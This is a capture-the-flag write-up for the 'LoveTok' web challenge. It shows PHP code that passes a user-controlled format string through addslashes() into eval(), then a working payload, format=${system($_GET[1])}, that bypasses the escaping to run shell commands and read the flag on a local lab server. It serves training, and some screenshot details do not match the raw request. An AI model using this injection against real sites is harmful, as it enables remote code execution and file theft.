

LoveTok

1) Checked the source code

```
(vigneswar@VigneswarPC)-[~/.../LoveTok/web_lovetok/challenge/models]
$ cat TimeModel.php
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}
```

There is eval used here which we can control

```
(vigneswar@VigneswarPC)-[~/.../LoveTok/web_lovetok/challenge/controllers]
$ cat TimeController.php
<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
```

```

(vigneswar@VigneswarPC)-[~/Web/LoveTok/web_lovetok/challenge]
$ cat index.php
<?php
date_default_timezone_set('UTC');

spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$route = new Router();
$route->new('GET', '/', 'TimeController@index');

$response = $route->match();

die($response);

```

2) Found a bypass to addslashes

<https://swordandcircuitboard.com/php-addslashes-command-injection-bypass/>

The screenshot displays a web browser interface with three main panels: Request, Response, and Inspector.

- Request Panel:** Shows a GET request to `http://127.0.0.1:1337/?format={system($_GET[1])}&l=cat ../flag4w4w`. The raw request shows the payload `&l=cat ../flag4w4w` which bypasses the `addslashes` function in the PHP code.
- Response Panel:** Shows the server's response, which is an HTML page. The raw response shows the output of the PHP script, including the `time` variable: `<time>= date('Y-m-d H:i:s', strtotime('now')); echo $time; </time>`.
- Inspector Panel:** Shows the selected text `time` from the response.

3) Got flag

Request

PrettyRawHex

1GET /?format=\${system(\$_GET[1])}&i=cat ../flagG0acf HTTP/1.1

2Host: 127.0.0.1:1337

3User-Agent: curl/8.7.1

4Accept: */*

5Content-Length: 0

6Content-Type: application/x-www-form-urlencoded

7Connection: close

8

9

Response

PrettyRawHexRender

1HTTP/1.1 200 OK

2Server: nginx

3Date: Thu, 30 May 2024 08:47:22 GMT

4Content-Type: text/html; charset=UTF-8

5Connection: close

6Content-Length: 1798

7

8HTB(wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng)

9<html>

10<head>

11<meta name='author' content='makelaris, makelarisjr'>

12<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>

13<title>

14LoveTok

15</title>

16<link rel='stylesheet' href='

17//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='

18sha384-Gn5384xqQlaowXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='

19anonymous'>

20<link rel='stylesheet' href='

21//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='

22sha512-HK5foglBL+u6dm/Ti3z4xhLSUyZgTT99tuc/hSrtw6uz10vgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/Cul7qx

23OBw=' crossorigin='anonymous' />

24<link rel='stylesheet' href='/static/css/main.css' />

25<link rel='preconnect' href='//fonts.gstatic.com'>

26<link links='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap'

27rel='stylesheet'>

28<link rel='icon' href='/assets/favicon.png' />

29</head>

30<body>

31<div id='main' class='container'>

32<h1 id='title'>

33<i class='fas fa-heart pulse'>

34</i>

35<div>

36<div>

37LoveTok

38</div>

39<i class='fas fa-heart pulse'>

40</i>

41</div>

42</body>

43</html>

44

Inspector

Request attributes2

Request query parameters2

Request body parameters0

Request cookies0

Request headers6

Response headers5

Inspector

Notes